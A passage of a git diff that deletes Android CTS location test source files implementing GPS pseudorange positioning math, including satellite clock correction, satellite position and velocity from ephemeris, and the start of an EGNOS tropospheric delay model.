-    Log.d(TAG, "Estimated Reciever clock offset rate in mps: " + positionVelocitySolutionEcef[7]);
-  }
-
-  /**
-   * Reads the navigation message from the SUPL server by creating a Stubby client to Stubby server
-   * that wraps the SUPL server. The input is the time in nanoseconds since the GPS epoch at which
-   * the navigation message is required and the output is a {@link GpsNavMessageProto}
-   *
-   * @throws IOException
-   * @throws UnknownHostException
-   */
-  private GpsNavMessageProto getSuplNavMessage(long latE7, long lngE7)
-      throws UnknownHostException, IOException {
-    SuplRrlpController suplRrlpController =
-        new SuplRrlpController(SUPL_SERVER_NAME, SUPL_SERVER_PORT);
-    GpsNavMessageProto navMessageProto = suplRrlpController.generateNavMessage(latE7, lngE7);
-
-    return navMessageProto;
-  }
-
-  /** Sets a rough location of the receiver that can be used to request SUPL assistance data */
-  public void setReferencePosition(int latE7, int lngE7, int altE7) {
-    if (mReferenceLocation == null) {
-      mReferenceLocation = new int[3];
-    }
-    mReferenceLocation[0] = latE7;
-    mReferenceLocation[1] = lngE7;
-    mReferenceLocation[2] = altE7;
-  }
-
-  /** Returns the last computed weighted least square position solution */
-  public double[] getPositionSolutionLatLngDeg() {
-    return mPositionSolutionLatLngDeg;
-  }
-
-  /** Returns the last computed Velocity solution */
-  public double[] getVelocitySolutionEnuMps() {
-    return mVelocitySolutionEnuMps;
-  }
-
-  /** Returns the last computed position velocity uncertainties in meters and meter per seconds,
-   * consecutively.  */
-  public double[] getPositionVelocityUncertaintyEnu() {
-    return mPositionVelocityUncertaintyEnu;
-  }
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/PseudorangeSmoother.java b/tests/tests/location/src/android/location/cts/psedorange/PseudorangeSmoother.java
deleted file mode 100644
index fd06972..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/PseudorangeSmoother.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import java.util.List;
-
-/**
- * Interface for smoothing a list of {@link GpsMeasurementWithRangeAndUncertainty} instances
- * received at a point of time.
- */
-interface PseudorangeSmoother {
-
-  /**
-   * Takes an input list of {@link GpsMeasurementWithRangeAndUncertainty} instances and returns a
-   * new list that contains smoothed pseudorange measurements.
-   *
-   * <p>The input list is of size {@link GpsNavigationMessageStore#MAX_NUMBER_OF_SATELLITES} with
-   * not visible GPS satellites having null entries, and the returned new list is of the same size.
-   *
-   * <p>The method does not modify the input list.
-   */
-  List<GpsMeasurementWithRangeAndUncertainty> updatePseudorangeSmoothingResult(
-      List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToGPSReceiverMeasurements);
-}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/psedorange/SatelliteClockCorrectionCalculator.java b/tests/tests/location/src/android/location/cts/psedorange/SatelliteClockCorrectionCalculator.java
deleted file mode 100644
index 8c4b055..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/SatelliteClockCorrectionCalculator.java
+++ /dev/null
@@ -1,203 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.location.cts.pseudorange;
-import android.location.cts.nano.Ephemeris.GpsEphemerisProto;
-/**
- * Calculate the GPS satellite clock correction based on parameters observed from the navigation
- * message
- * <p>Source: Page 88 - 90 of the ICD-GPS 200
- */
-public class SatelliteClockCorrectionCalculator {
-  private static final double SPEED_OF_LIGHT_MPS = 299792458.0;
-  private static final double EARTH_UNIVERSAL_GRAVITATIONAL_CONSTANT_M3_SM2 = 3.986005e14;
-  private static final double RELATIVISTIC_CONSTANT_F = -4.442807633e-10;
-  private static final int SECONDS_IN_WEEK = 604800;
-  private static final double ACCURACY_TOLERANCE = 1.0e-11;
-  private static final int MAX_ITERATIONS = 100;
-  /**
-   * Compute the GPS satellite clock correction term in meters iteratively following page 88 - 90
-   * and 98 - 100 of the ICD GPS 200. The method returns a pair of satellite clock correction in
-   * meters and Kepler Eccentric Anomaly in Radians.
-   *
-   * @param ephemerisProto parameters of the navigation message
-   * @param receiverGpsTowAtTimeOfTransmission Reciever estimate of GPS time of week when signal was
-   *        transmitted (seconds)
-   * @param receiverGpsWeekAtTimeOfTrasnmission Receiver estimate of GPS week when signal was
-   *        transmitted (0-1024+)
-   * @throws Exception
-   */
-  public static SatClockCorrection calculateSatClockCorrAndEccAnomAndTkIteratively(
-      GpsEphemerisProto ephemerisProto, double receiverGpsTowAtTimeOfTransmission,
-      double receiverGpsWeekAtTimeOfTrasnmission) throws Exception {
-    // Units are not added in the variable names to have the same name as the ICD-GPS200
-    // Mean anomaly (radians)
-    double meanAnomalyRad;
-    // Kepler's Equation for Eccentric Anomaly iteratively (Radians)
-    double eccentricAnomalyRad;
-    // Semi-major axis of orbit (meters)
-    double a = ephemerisProto.rootOfA * ephemerisProto.rootOfA;
-    // Computed mean motion (radians/seconds)
-    double n0 = Math.sqrt(EARTH_UNIVERSAL_GRAVITATIONAL_CONSTANT_M3_SM2 / (a * a * a));
-    // Corrected mean motion (radians/seconds)
-    double n = n0 + ephemerisProto.deltaN;
-    // In the following, Receiver GPS week and ephemeris GPS week are used to correct for week
-    // rollover when calculating the time from clock reference epoch (tcSec)
-    double timeOfTransmissionIncludingRxWeekSec =
-        receiverGpsWeekAtTimeOfTrasnmission * SECONDS_IN_WEEK + receiverGpsTowAtTimeOfTransmission;
-    // time from clock reference epoch (seconds) page 88 ICD-GPS200
-    double tcSec = timeOfTransmissionIncludingRxWeekSec
-        - (ephemerisProto.week * SECONDS_IN_WEEK + ephemerisProto.toc);
-    // Correction for week rollover
-    tcSec = fixWeekRollover(tcSec);
-    double oldEcentricAnomalyRad = 0.0;
-    double newSatClockCorrectionSeconds = 0.0;
-    double relativisticCorrection = 0.0;
-    double changeInSatClockCorrection = 0.0;
-    // Initial satellite clock correction (unknown relativistic correction). Iterate to correct
-    // with the relativistic effect and obtain a stable
-    final double initSatClockCorrectionSeconds = ephemerisProto.af0
-        + ephemerisProto.af1 * tcSec
-        + ephemerisProto.af2 * tcSec * tcSec - ephemerisProto.tgd;
-    double satClockCorrectionSeconds = initSatClockCorrectionSeconds;
-    double tkSec;
-    int satClockCorrectionsCounter = 0;
-    do {
-      int eccentricAnomalyCounter = 0;
-      // time from ephemeris reference epoch (seconds) page 98 ICD-GPS200
-      tkSec = timeOfTransmissionIncludingRxWeekSec - (
-          ephemerisProto.week * SECONDS_IN_WEEK + ephemerisProto.toe
-              + satClockCorrectionSeconds);
-      // Correction for week rollover
-      tkSec = fixWeekRollover(tkSec);
-      // Mean anomaly (radians)
-      meanAnomalyRad = ephemerisProto.m0 + n * tkSec;
-      // eccentric anomaly (radians)
-      eccentricAnomalyRad = meanAnomalyRad;
-      // Iteratively solve for Kepler's eccentric anomaly according to ICD-GPS200 page 99
-      do {
-        oldEcentricAnomalyRad = eccentricAnomalyRad;
-        eccentricAnomalyRad =
-            meanAnomalyRad + ephemerisProto.e * Math.sin(eccentricAnomalyRad);
-        eccentricAnomalyCounter++;
-        if (eccentricAnomalyCounter > MAX_ITERATIONS) {
-          throw new Exception("Kepler Eccentric Anomaly calculation did not converge in "
-              + MAX_ITERATIONS + " iterations");
-        }
-      } while (Math.abs(oldEcentricAnomalyRad - eccentricAnomalyRad) > ACCURACY_TOLERANCE);
-      // relativistic correction term (seconds)
-      relativisticCorrection = RELATIVISTIC_CONSTANT_F * ephemerisProto.e
-          * ephemerisProto.rootOfA * Math.sin(eccentricAnomalyRad);
-      // satellite clock correction including relativistic effect
-      newSatClockCorrectionSeconds = initSatClockCorrectionSeconds + relativisticCorrection;
-      changeInSatClockCorrection =
-          Math.abs(satClockCorrectionSeconds - newSatClockCorrectionSeconds);
-      satClockCorrectionSeconds = newSatClockCorrectionSeconds;
-      satClockCorrectionsCounter++;
-      if (satClockCorrectionsCounter > MAX_ITERATIONS) {
-        throw new Exception("Satellite Clock Correction calculation did not converge in "
-            + MAX_ITERATIONS + " iterations");
-      }
-    } while (changeInSatClockCorrection > ACCURACY_TOLERANCE);
-    tkSec = timeOfTransmissionIncludingRxWeekSec - (
-        ephemerisProto.week * SECONDS_IN_WEEK + ephemerisProto.toe
-            + satClockCorrectionSeconds);
-    // return satellite clock correction (meters) and Kepler Eccentric Anomaly in Radians
-    return new SatClockCorrection(satClockCorrectionSeconds * SPEED_OF_LIGHT_MPS,
-        eccentricAnomalyRad, tkSec);
-  }
-
-  /**
-   * Calculates Satellite Clock Error Rate in (meters/second) by subtracting the Satellite
-   * Clock Error Values at t+0.5s and t-0.5s.
-   *
-   * <p>This approximation is more accurate than differentiating because both the orbital
-   * and relativity terms have non-linearities that are not easily differentiable.
-   */
-  public static double calculateSatClockCorrErrorRate(
-      GpsEphemerisProto ephemerisProto, double receiverGpsTowAtTimeOfTransmissionSeconds,
-      double receiverGpsWeekAtTimeOfTrasnmission) throws Exception {
-    SatClockCorrection satClockCorrectionPlus = calculateSatClockCorrAndEccAnomAndTkIteratively(
-        ephemerisProto, receiverGpsTowAtTimeOfTransmissionSeconds + 0.5,
-        receiverGpsWeekAtTimeOfTrasnmission);
-    SatClockCorrection satClockCorrectionMinus = calculateSatClockCorrAndEccAnomAndTkIteratively(
-        ephemerisProto, receiverGpsTowAtTimeOfTransmissionSeconds - 0.5,
-        receiverGpsWeekAtTimeOfTrasnmission);
-    double satelliteClockErrorRate = satClockCorrectionPlus.satelliteClockCorrectionMeters
-        - satClockCorrectionMinus.satelliteClockCorrectionMeters;
-    return satelliteClockErrorRate;
-  }
-
-  /**
-   * Method to check for week rollover according to ICD-GPS 200 page 98.
-   *
-   * <p>Result should be between -302400 and 302400 if the ephemeris is within one week of
-   * transmission, otherwise it is adjusted to the correct range
-   */
-  private static double fixWeekRollover(double time) {
-    double correctedTime = time;
-    if (time > SECONDS_IN_WEEK / 2.0) {
-      correctedTime = time - SECONDS_IN_WEEK;
-    }
-    if (time < -SECONDS_IN_WEEK / 2.0) {
-      correctedTime = time + SECONDS_IN_WEEK;
-    }
-    return correctedTime;
-  }
-  /**
-   *
-   * Class containing the satellite clock correction parameters: The satellite clock correction in
-   * meters, Kepler Eccentric Anomaly in Radians and the time from the reference epoch in seconds.
-   */
-  public static class SatClockCorrection {
-    /**
-     *  Satellite clock correction in meters
-     */
-    public final double satelliteClockCorrectionMeters;
-    /**
-     *  Satellite clock correction in meters
-     */
-    public final double satelliteClockRateCorrectionMetersPerSecond;
-    /**
-     * Kepler Eccentric Anomaly in Radians
-     */
-    public final double eccentricAnomalyRadians;
-    /**
-     *  Time from the reference epoch in Seconds
-     */
-    public final double timeFromRefEpochSec;
-    /**
-     * Constructor
-     */
-    public SatClockCorrection(double satelliteClockCorrectionMeters, double eccentricAnomalyRadians,
-        double timeFromRefEpochSec) {
-      this.satelliteClockCorrectionMeters = satelliteClockCorrectionMeters;
-      this.eccentricAnomalyRadians = eccentricAnomalyRadians;
-      this.timeFromRefEpochSec = timeFromRefEpochSec;
-      this.satelliteClockRateCorrectionMetersPerSecond = Double.NaN;
-    }
-    /**
-     * Alternative Constructor
-     */
-    public SatClockCorrection(double satelliteClockCorrectionMeters,
-        double satelliteClockRateCorrectionMeters, double eccentricAnomalyRadians,
-        double timeFromRefEpochSec){
-      this.satelliteClockCorrectionMeters = satelliteClockCorrectionMeters;
-      this.eccentricAnomalyRadians = eccentricAnomalyRadians;
-      this.timeFromRefEpochSec = timeFromRefEpochSec;
-      this.satelliteClockRateCorrectionMetersPerSecond = satelliteClockRateCorrectionMeters;
-    }
-  }
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/SatellitePositionCalculator.java b/tests/tests/location/src/android/location/cts/psedorange/SatellitePositionCalculator.java
deleted file mode 100644
index de7bfce..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/SatellitePositionCalculator.java
+++ /dev/null
@@ -1,298 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import android.location.cts.pseudorange.SatelliteClockCorrectionCalculator.SatClockCorrection;
-import android.location.cts.nano.Ephemeris.GpsEphemerisProto;
-
-/* Class to calculate GPS satellite positions from the ephemeris data */
-public class SatellitePositionCalculator {
-  private static final double SPEED_OF_LIGHT_MPS = 299792458.0;
-  private static final double UNIVERSAL_GRAVITATIONAL_PARAMETER_M3_SM2 = 3.986005e14;
-  private static final int NUMBER_OF_ITERATIONS_FOR_SAT_POS_CALCULATION = 5;
-  private static final double EARTH_ROTATION_RATE_RAD_PER_SEC = 7.2921151467e-5;
-
-  /**
-   *
-   * Calculate GPS satellite position and velocity from ephemeris including the Sagnac effect
-   * starting from unknown user to satellite distance and speed. So we start from an initial guess
-   * of the user to satellite range and range rate and iterate to include the Sagnac effect. Few
-   * iterations are enough to achieve a satellite position with millimeter accuracy.
-   * A {@code PositionAndVelocity} class is returned containing satellite position in meters
-   * (x, y and z) and velocity in meters per second (x, y, z)
-   *
-   * <p>Satelite position and velocity equations are obtained from:
-   * http://www.gps.gov/technical/icwg/ICD-GPS-200C.pdf) pages 94 - 101 and
-   * http://fenrir.naruoka.org/download/autopilot/note/080205_gps/gps_velocity.pdf
-   *
-   * @param ephemerisProto parameters of the navigation message
-   * @param receiverGpsTowAtTimeOfTransmissionCorrectedSec Receiver estimate of GPS time of week
-   *        when signal was transmitted corrected with the satellite clock drift (seconds)
-   * @param receiverGpsWeekAtTimeOfTransmission Receiver estimate of GPS week when signal was
-   *        transmitted (0-1024+)
-   * @param userPosXMeters Last known user x-position (if known) [meters]
-   * @param userPosYMeters Last known user y-position (if known) [meters]
-   * @param userPosZMeters Last known user z-position (if known) [meters]
-   * @throws Exception
-   */
-  public static PositionAndVelocity calculateSatellitePositionAndVelocityFromEphemeris
-  (GpsEphemerisProto ephemerisProto, double receiverGpsTowAtTimeOfTransmissionCorrectedSec,
-      int receiverGpsWeekAtTimeOfTransmission,
-      double userPosXMeters,
-      double userPosYMeters,
-      double userPosZMeters) throws Exception {
-
-    // lets start with a first user to sat distance guess of 70 ms and zero velocity
-    RangeAndRangeRate userSatRangeAndRate = new RangeAndRangeRate
-        (0.070 * SPEED_OF_LIGHT_MPS, 0.0 /* range rate*/);
-
-    // To apply sagnac effect correction, We are starting from an approximate guess of the user to
-    // satellite range, iterate 3 times and that should be enough to reach millimeter accuracy
-    PositionAndVelocity satPosAndVel = new PositionAndVelocity(0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
-    PositionAndVelocity userPosAndVel =
-        new PositionAndVelocity(userPosXMeters, userPosYMeters, userPosZMeters,
-            0.0 /* user velocity x*/, 0.0 /* user velocity y*/, 0.0 /* user velocity z */);
-    for (int i = 0; i < NUMBER_OF_ITERATIONS_FOR_SAT_POS_CALCULATION; i++) {
-      calculateSatellitePositionAndVelocity(ephemerisProto,
-          receiverGpsTowAtTimeOfTransmissionCorrectedSec, receiverGpsWeekAtTimeOfTransmission,
-          userSatRangeAndRate, satPosAndVel);
-      computeUserToSatelliteRangeAndRangeRate(userPosAndVel, satPosAndVel, userSatRangeAndRate);
-    }
-    return satPosAndVel;
-  }
-
-  /**
-   * Calculate GPS satellite position and velocity from ephemeris based on the ICD-GPS-200.
-   * Satellite position in meters (x, y and z) and velocity in meters per second (x, y, z) are set
-   * in the passed {@code PositionAndVelocity} instance.
-   *
-   * <p>Sources: http://www.gps.gov/technical/icwg/ICD-GPS-200C.pdf) pages 94 - 101 and
-   * http://fenrir.naruoka.org/download/autopilot/note/080205_gps/gps_velocity.pdf
-   *
-   * @param ephemerisProto parameters of the navigation message
-   * @param receiverGpsTowAtTimeOfTransmissionCorrected Receiver estimate of GPS time of week when
-   *        signal was transmitted corrected with the satellite clock drift (seconds)
-   * @param receiverGpsWeekAtTimeOfTransmission Receiver estimate of GPS week when signal was
-   *        transmitted (0-1024+)
-   * @param userSatRangeAndRate user to satellite range and range rate
-   * @param satPosAndVel Satellite position and velocity instance in which the method results will
-   * be set
-   * @throws Exception
-   */
-  public static void calculateSatellitePositionAndVelocity(GpsEphemerisProto ephemerisProto,
-      double receiverGpsTowAtTimeOfTransmissionCorrected, int receiverGpsWeekAtTimeOfTransmission,
-      RangeAndRangeRate userSatRangeAndRate, PositionAndVelocity satPosAndVel) throws Exception {
-
-    // Calculate satellite clock correction (meters), Kepler Eccentric anomaly (radians) and time
-    // from ephemeris refrence epoch (tkSec) iteratively
-    SatClockCorrection satClockCorrectionValues =
-        SatelliteClockCorrectionCalculator.calculateSatClockCorrAndEccAnomAndTkIteratively(
-            ephemerisProto, receiverGpsTowAtTimeOfTransmissionCorrected,
-            receiverGpsWeekAtTimeOfTransmission);
-
-    double eccentricAnomalyRadians = satClockCorrectionValues.eccentricAnomalyRadians;
-    double tkSec = satClockCorrectionValues.timeFromRefEpochSec;
-
-    // True_anomaly (angle from perigee)
-    double trueAnomalyRadians = Math.atan2(
-        Math.sqrt(1.0 - ephemerisProto.e * ephemerisProto.e)
-            * Math.sin(eccentricAnomalyRadians),
-        Math.cos(eccentricAnomalyRadians) - ephemerisProto.e);
-
-    // Argument of latitude of the satellite
-    double argumentOfLatitudeRadians = trueAnomalyRadians + ephemerisProto.omega;
-
-    // Radius of satellite orbit
-    double radiusOfSatelliteOrbitMeters = ephemerisProto.rootOfA * ephemerisProto.rootOfA
-        * (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians));
-
-    // Radius correction due to second harmonic perturbations of the orbit
-    double radiusCorrectionMeters = ephemerisProto.crc
-        * Math.cos(2.0 * argumentOfLatitudeRadians) + ephemerisProto.crs
-        * Math.sin(2.0 * argumentOfLatitudeRadians);
-    // Argument of latitude correction due to second harmonic perturbations of the orbit
-    double argumentOfLatitudeCorrectionRadians = ephemerisProto.cuc
-        * Math.cos(2.0 * argumentOfLatitudeRadians) + ephemerisProto.cus
-        * Math.sin(2.0 * argumentOfLatitudeRadians);
-    // Correction to inclination due to second harmonic perturbations of the orbit
-    double inclinationCorrectionRadians = ephemerisProto.cic
-        * Math.cos(2.0 * argumentOfLatitudeRadians) + ephemerisProto.cis
-        * Math.sin(2.0 * argumentOfLatitudeRadians);
-
-    // Corrected radius of satellite orbit
-    radiusOfSatelliteOrbitMeters += radiusCorrectionMeters;
-    // Corrected argument of latitude
-    argumentOfLatitudeRadians += argumentOfLatitudeCorrectionRadians;
-    // Corrected inclination
-    double inclinationRadians =
-        ephemerisProto.i0 + inclinationCorrectionRadians + ephemerisProto.iDot * tkSec;
-
-    // Position in orbital plane
-    double xPositionMeters = radiusOfSatelliteOrbitMeters * Math.cos(argumentOfLatitudeRadians);
-    double yPositionMeters = radiusOfSatelliteOrbitMeters * Math.sin(argumentOfLatitudeRadians);
-
-    // Corrected longitude of the ascending node (signal propagation time is included to compensate
-    // for the Sagnac effect)
-    double omegaKRadians = ephemerisProto.omega0
-        + (ephemerisProto.omegaDot - EARTH_ROTATION_RATE_RAD_PER_SEC) * tkSec
-        - EARTH_ROTATION_RATE_RAD_PER_SEC
-        * (ephemerisProto.toe + userSatRangeAndRate.rangeMeters / SPEED_OF_LIGHT_MPS);
-
-    // compute the resulting satellite position
-    double satPosXMeters = xPositionMeters * Math.cos(omegaKRadians) - yPositionMeters
-        * Math.cos(inclinationRadians) * Math.sin(omegaKRadians);
-    double satPosYMeters = xPositionMeters * Math.sin(omegaKRadians) + yPositionMeters
-        * Math.cos(inclinationRadians) * Math.cos(omegaKRadians);
-    double satPosZMeters = yPositionMeters * Math.sin(inclinationRadians);
-
-    // Satellite Velocity Computation using the broadcast ephemeris
-    // http://fenrir.naruoka.org/download/autopilot/note/080205_gps/gps_velocity.pdf
-    // Units are not added in some of the variable names to have the same name as the ICD-GPS200
-    // Semi-major axis of orbit (meters)
-    double a = ephemerisProto.rootOfA * ephemerisProto.rootOfA;
-    // Computed mean motion (radians/seconds)
-    double n0 = Math.sqrt(UNIVERSAL_GRAVITATIONAL_PARAMETER_M3_SM2 / (a * a * a));
-    // Corrected mean motion (radians/seconds)
-    double n = n0 + ephemerisProto.deltaN;
-    // Derivative of mean anomaly (radians/seconds)
-    double meanAnomalyDotRadPerSec = n;
-    // Derivative of eccentric anomaly (radians/seconds)
-    double eccentricAnomalyDotRadPerSec =
-        meanAnomalyDotRadPerSec / (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians));
-    // Derivative of true anomaly (radians/seconds)
-    double trueAnomalydotRadPerSec = Math.sin(eccentricAnomalyRadians)
-        * eccentricAnomalyDotRadPerSec
-        * (1.0 + ephemerisProto.e * Math.cos(trueAnomalyRadians)) / (
-        Math.sin(trueAnomalyRadians)
-            * (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians)));
-    // Derivative of argument of latitude (radians/seconds)
-    double argumentOfLatitudeDotRadPerSec = trueAnomalydotRadPerSec + 2.0 * (ephemerisProto.cus
-        * Math.cos(2.0 * argumentOfLatitudeRadians) - ephemerisProto.cuc
-        * Math.sin(2.0 * argumentOfLatitudeRadians)) * trueAnomalydotRadPerSec;
-    // Derivative of radius of satellite orbit (m/s)
-    double radiusOfSatelliteOrbitDotMPerSec = a * ephemerisProto.e
-        * Math.sin(eccentricAnomalyRadians) * n
-        / (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians)) + 2.0 * (
-        ephemerisProto.crs * Math.cos(2.0 * argumentOfLatitudeRadians)
-            - ephemerisProto.crc * Math.sin(2.0 * argumentOfLatitudeRadians))
-        * trueAnomalydotRadPerSec;
-    // Derivative of the inclination (radians/seconds)
-    double inclinationDotRadPerSec = ephemerisProto.iDot + (ephemerisProto.cis
-        * Math.cos(2.0 * argumentOfLatitudeRadians) - ephemerisProto.cic
-        * Math.sin(2.0 * argumentOfLatitudeRadians)) * 2.0 * trueAnomalydotRadPerSec;
-
-    double xVelocityMPS = radiusOfSatelliteOrbitDotMPerSec * Math.cos(argumentOfLatitudeRadians)
-        - yPositionMeters * argumentOfLatitudeDotRadPerSec;
-    double yVelocityMPS = radiusOfSatelliteOrbitDotMPerSec * Math.sin(argumentOfLatitudeRadians)
-        + xPositionMeters * argumentOfLatitudeDotRadPerSec;
-
-    // Corrected rate of right ascension including compensation for the Sagnac effect
-    double omegaDotRadPerSec = ephemerisProto.omegaDot - EARTH_ROTATION_RATE_RAD_PER_SEC
-        * (1.0 + userSatRangeAndRate.rangeRateMetersPerSec / SPEED_OF_LIGHT_MPS);
-    // compute the resulting satellite velocity
-    double satVelXMPS =
-        (xVelocityMPS - yPositionMeters * Math.cos(inclinationRadians) * omegaDotRadPerSec)
-            * Math.cos(omegaKRadians) - (xPositionMeters * omegaDotRadPerSec + yVelocityMPS
-            * Math.cos(inclinationRadians) - yPositionMeters * Math.sin(inclinationRadians)
-            * inclinationDotRadPerSec) * Math.sin(omegaKRadians);
-    double satVelYMPS =
-        (xVelocityMPS - yPositionMeters * Math.cos(inclinationRadians) * omegaDotRadPerSec)
-            * Math.sin(omegaKRadians) + (xPositionMeters * omegaDotRadPerSec + yVelocityMPS
-            * Math.cos(inclinationRadians) - yPositionMeters * Math.sin(inclinationRadians)
-            * inclinationDotRadPerSec) * Math.cos(omegaKRadians);
-    double satVelZMPS = yVelocityMPS * Math.sin(inclinationRadians) + yPositionMeters
-        * Math.cos(inclinationRadians) * inclinationDotRadPerSec;
-
-    satPosAndVel.positionXMeters = satPosXMeters;
-    satPosAndVel.positionYMeters = satPosYMeters;
-    satPosAndVel.positionZMeters = satPosZMeters;
-    satPosAndVel.velocityXMetersPerSec = satVelXMPS;
-    satPosAndVel.velocityYMetersPerSec = satVelYMPS;
-    satPosAndVel.velocityZMetersPerSec = satVelZMPS;
-  }
-
-  /**
-   * Compute and set the passed {@code RangeAndRangeRate} instance containing user to satellite
-   * range (meters) and range rate (m/s) given the user position (ECEF meters), user velocity (m/s),
-   * satellite position (ECEF meters) and satellite velocity (m/s).
-   */
-  private static void computeUserToSatelliteRangeAndRangeRate(PositionAndVelocity userPosAndVel,
-      PositionAndVelocity satPosAndVel, RangeAndRangeRate rangeAndRangeRate) {
-    double dXMeters = satPosAndVel.positionXMeters - userPosAndVel.positionXMeters;
-    double dYMeters = satPosAndVel.positionYMeters - userPosAndVel.positionYMeters;
-    double dZMeters = satPosAndVel.positionZMeters - userPosAndVel.positionZMeters;
-    // range in meters
-    double rangeMeters = Math.sqrt(dXMeters * dXMeters + dYMeters * dYMeters + dZMeters * dZMeters);
-    // range rate in meters / second
-    double rangeRateMetersPerSec =
-        ((userPosAndVel.velocityXMetersPerSec - satPosAndVel.velocityXMetersPerSec) * dXMeters
-            + (userPosAndVel.velocityYMetersPerSec - satPosAndVel.velocityYMetersPerSec) * dYMeters
-            + (userPosAndVel.velocityZMetersPerSec - satPosAndVel.velocityZMetersPerSec) * dZMeters)
-            / rangeMeters;
-    rangeAndRangeRate.rangeMeters = rangeMeters;
-    rangeAndRangeRate.rangeRateMetersPerSec = rangeRateMetersPerSec;
-  }
-
-  /**
-   *
-   * A class containing position values (x, y, z) in meters and velocity values (x, y, z) in meters
-   * per seconds
-   */
-  public static class PositionAndVelocity {
-    /* x - position in meters */
-    public double positionXMeters;
-    /* y - position in meters */
-    public double positionYMeters;
-    /* z - position in meters */
-    public double positionZMeters;
-    /* x - velocity in meters */
-    public double velocityXMetersPerSec;
-    /* y - velocity in meters */
-    public double velocityYMetersPerSec;
-    /* z - velocity in meters */
-    public double velocityZMetersPerSec;
-
-    /* Constructor */
-    public PositionAndVelocity(double positionXMeters,
-        double positionYMeters,
-        double positionZMeters,
-        double velocityXMetersPerSec,
-        double velocityYMetersPerSec,
-        double velocityZMetersPerSec) {
-      this.positionXMeters = positionXMeters;
-      this.positionYMeters = positionYMeters;
-      this.positionZMeters = positionZMeters;
-      this.velocityXMetersPerSec = velocityXMetersPerSec;
-      this.velocityYMetersPerSec = velocityYMetersPerSec;
-      this.velocityZMetersPerSec = velocityZMetersPerSec;
-    }
-  }
-
-  /* A class containing range of satellite to user in meters and range rate in meters per seconds */
-  public static class RangeAndRangeRate {
-    /* Range in meters */
-    public double rangeMeters;
-    /* Range rate in meters per seconds */
-    public double rangeRateMetersPerSec;
-
-    /* Constructor */
-    public RangeAndRangeRate(double rangeMeters, double rangeRateMetersPerSec) {
-      this.rangeMeters = rangeMeters;
-      this.rangeRateMetersPerSec = rangeRateMetersPerSec;
-    }
-  }
-}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/psedorange/TroposphericModelEgnos.java b/tests/tests/location/src/android/location/cts/psedorange/TroposphericModelEgnos.java
deleted file mode 100644
index 6fa63a0..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/TroposphericModelEgnos.java
+++ /dev/null
@@ -1,324 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-/**
- * Calculate the troposheric delay based on the ENGOS Tropospheric model.
- *
- * <p>The tropospheric delay is modeled as a combined effect of the delay experienced due to
- * hyrostatic (dry) and wet components of the troposphere. Both delays experienced at zenith are
- * scaled with a mapping function to get the delay at any specific elevation.
- *
- * <p>The tropospheric model algorithm of EGNOS model by Penna, N., A. Dodson and W. Chen (2001)
- * (http://espace.library.curtin.edu.au/cgi-bin/espace.pdf?file=/2008/11/13/file_1/18917) is used
- * for calculating the zenith delays. In this model, the weather parameters are extracted using
- * interpolation from lookup table derived from the US Standard Atmospheric Supplements, 1966.
- *
- * <p>A close form mapping function is built using Guo and Langley, 2003
- * (http://gauss2.gge.unb.ca/papers.pdf/iongpsgnss2003.guo.pdf) which is able to calculate accurate
- * mapping down to 2 degree elevations.
- *
- * <p>Sources:
- * <p>http://espace.library.curtin.edu.au/cgi-bin/espace.pdf?file=/2008/11/13/file_1/18917
- * <p>- http://www.academia.edu/3512180/Assessment_of_UNB3M_neutral
- * _atmosphere_model_and_EGNOS_model_for_near-equatorial-tropospheric_delay_correction
- * <p>- http://gauss.gge.unb.ca/papers.pdf/ion52am.collins.pdf
- * <p>- http://www.navipedia.net/index.php/Tropospheric_Delay#cite_ref-3
- * <p>Hydrostatic and non-hydrostatic mapping functions are obtained from:
